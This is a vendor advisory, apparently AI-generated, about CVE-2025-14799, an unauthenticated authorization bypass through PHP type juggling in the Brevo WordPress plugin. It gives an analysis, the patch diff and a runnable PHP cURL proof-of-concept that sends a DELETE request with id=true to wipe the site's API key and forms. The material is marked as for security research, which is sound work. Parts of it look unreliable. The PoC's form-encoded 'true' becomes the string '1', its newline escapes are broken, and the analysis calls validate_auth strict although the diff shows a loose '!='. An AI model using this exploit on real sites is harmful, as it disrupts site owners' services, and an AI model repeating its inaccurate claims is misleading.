Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14799: Brevo – Email, SMS, Web Push, Chat, and more. <= 3.3.0 – Unauthenticated Authorization Bypass via Type Juggling (mailin)

Plugin mailin
Severity Medium (CVSS 6.5)
CWE 843
Vulnerable Version 3.3.0
Patched Version 3.3.1
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14799:
This vulnerability is an unauthenticated authorization bypass in the Brevo WordPress plugin, affecting versions up to and including 3.3.0. The flaw allows attackers to disconnect the Brevo integration, delete the API key, remove subscription forms, and reset plugin settings without authentication. The CVSS score of 6.5 reflects a medium severity impact on confidentiality, integrity, and availability.

Atomic Edge research identifies the root cause as PHP type juggling due to loose comparison (==) in the `mailin_disconnect` function within `/mailin/sendinblue.php`. The function at line 1834 compares the user-supplied `$user_connection_id` parameter against the stored `$installationId` using the `==` operator. This loose comparison allows a boolean `true` value to match any non-empty string or non-zero integer, bypassing the authorization check. The vulnerable REST API endpoint `/wp-json/mailin/v1/mailin_disconnect` was registered with a permission callback of `__return_true` at line 1792, granting public access.

Exploitation requires sending a DELETE request to the vulnerable REST endpoint with a boolean `true` value for the `id` parameter. Attackers can use the payload `id=true` in the request body or query string. The plugin’s `mailin_disconnect` function processes this parameter, and the loose comparison at line 1834 evaluates `true == $installationId` as true for any non-empty installation ID, granting unauthorized access to the disconnect functionality.

The patch in version 3.3.1 introduces multiple security improvements. It replaces the loose comparison (`==`) with strict comparison (`===`) at line 1836 in the `mailin_disconnect` function. The patch also restructures endpoint registration by moving the `/mailin_disconnect` route to a new `$authenticated_routes` array and introduces a `register_route_authenticated` method. This new method assigns a custom `validate_auth` permission callback that performs the same strict comparison check before the main callback executes. The `validate_auth` function also adds proper HTTP 401 status codes and error handling.

Successful exploitation allows unauthenticated attackers to disconnect the Brevo service integration completely. This action triggers the `delete_connection` method, which removes the API key, deletes all subscription forms, and resets plugin settings to default. The impact includes service disruption, loss of marketing functionality, and potential data loss for stored form configurations. Attackers could use this to disable email marketing capabilities or as part of a broader attack chain to weaken site security posture.

Differential between vulnerable and patched code

Code Diff
--- a/mailin/sendinblue.php
+++ b/mailin/sendinblue.php
@@ -3,7 +3,7 @@
  * Plugin Name: Brevo - Email, SMS, Web Push, Chat, and more.
  * Plugin URI: https://www.brevo.com/?r=wporg
  * Description: Manage your contact lists, subscription forms and all email and marketing-related topics from your wp panel, within one single plugin
- * Version: 3.3.0
+ * Version: 3.3.1
  * Author: Brevo
  * Author URI: https://www.brevo.com/?r=wporg
  * License: GPLv2 or later
@@ -109,6 +109,7 @@
 		private const ROUTE_PATH = 'path';
 		private const PERMISSION_CALLBACK = 'permission_callback';
 		private const API_NAMESPACE = "mailin/v1";
+		private const HTTP_STATUS = 'status';

 		/** Main setting option name */
 		const MAIN_OPTION_NAME = 'sib_main_option';
@@ -1751,7 +1752,6 @@
 			activate_plugin( $current_plugin_path_name );
 		}

-
 		public function brevo_wp_load()
 		{
 			$installationId = get_option( SIB_Manager::INSTALLATION_ID );
@@ -1784,16 +1784,19 @@
 			return $attributes;
 		}

-		static function create_brevo_rest_endpoints() {
-			$routes = array(
+		static function create_brevo_rest_endpoints()
+		{
+			$authenticated_routes = array(
 				array(
 					self::ROUTE_PATH       => '/mailin_disconnect',
 					self::ROUTE_METHODS    => 'DELETE',
 					self::ROUTE_CALLBACK   => function ($request) {
 						return self::mailin_disconnect($request);
-					},
-					self::PERMISSION_CALLBACK => '__return_true',
-				),
+					}
+				)
+			);
+
+			$routes = array(
 				array(
 					self::ROUTE_PATH       => '/testconnection',
 					self::ROUTE_METHODS    => 'GET',
@@ -1807,6 +1810,10 @@
 			foreach ($routes as $route) {
 				self::register_route($route);
 			}
+
+			foreach ($authenticated_routes as $route) {
+				self::register_route_authenticated($route);
+			}
 		}

 		private static function register_route(array $route)
@@ -1824,13 +1831,62 @@
 			);
 		}

+private static function register_route_authenticated(array $route)		{
+			$path = $route[self::ROUTE_PATH];
+			$methods = $route[self::ROUTE_METHODS];
+			$callback = $route[self::ROUTE_CALLBACK];
+
+			if(empty($path)) {
+				return;
+			}
+
+			$arguments = array(
+				self::ROUTE_METHODS    => $methods,
+				self::ROUTE_CALLBACK   => $callback,
+				self::PERMISSION_CALLBACK   => array(self::class, 'validate_auth')
+			);
+
+			register_rest_route(self::API_NAMESPACE, $path, $arguments);
+		}
+
+		public static function validate_auth()
+		{
+			nocache_headers();
+
+			$user_connection_id = $_GET['id'] ?? '';
+
+            if (!empty($user_connection_id)) {
+                $installationId = get_option( SIB_Manager::INSTALLATION_ID );
+
+                if ($user_connection_id != $installationId) {
+                    return new WP_Error(
+						'rest_forbidden',
+						__('You are not authorized to complete this request.',"mailin"),
+						 array(
+							self::HTTP_STATUS => 401
+						)
+					);
+                } else {
+                    return true;
+                }
+            } else {
+				return new WP_Error(
+					'rest_forbidden',
+					__('You are not authorized to complete this request.',"mailin"),
+					 array(
+						self::HTTP_STATUS => 401
+					)
+				);
+			}
+		}
+
         private static function mailin_disconnect($request) {
 			$request = $request->get_params();
 			$user_connection_id = isset($request['id']) ? $request['id'] : '';
             if (!empty($user_connection_id)) {
                 $installationId = get_option( SIB_Manager::INSTALLATION_ID );

-                if ($user_connection_id == $installationId) {
+                if ($user_connection_id === $installationId) {
                     self::delete_connection();
                 } else {
                     return new WP_REST_Response(
--- a/mailin/wonderpush-php-lib/lib/Errors/Base.php
+++ b/mailin/wonderpush-php-lib/lib/Errors/Base.php
@@ -19,7 +19,7 @@

   protected $codeStr;

-  public function __construct($message = '', $codeStr = '0', Exception $previous = null) {
+  public function __construct($message = '', $codeStr = '0', $previous = null) {
     if ($message === '') {
       $message = static::DEFAULT_MESSAGE;
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14799 - Brevo - Email, SMS, Web Push, Chat, and more. <= 3.3.0 - Unauthenticated Authorization Bypass via Type Juggling

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// The vulnerable REST API endpoint
$endpoint = '/wp-json/mailin/v1/mailin_disconnect';

// Craft the full URL
$url = $target_url . $endpoint;

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $url);

// Use DELETE method as required by the endpoint
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');

// Send the boolean true value as the 'id' parameter via POST body
// The loose comparison (==) will evaluate true == any non-empty installation ID
$post_data = ['id' => true];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);

// Get HTTP status code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Successful exploitation typically returns a 200 status with success message
    if ($http_code == 200 && strpos($response, 'success') !== false) {
        echo "[+] SUCCESS: Brevo integration disconnected.n";
        echo "    API key deleted, subscription forms removed, and settings reset.n";
    } elseif ($http_code == 401) {
        echo "[-] FAILED: Site may be patched or installation ID is empty.n";
    }
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School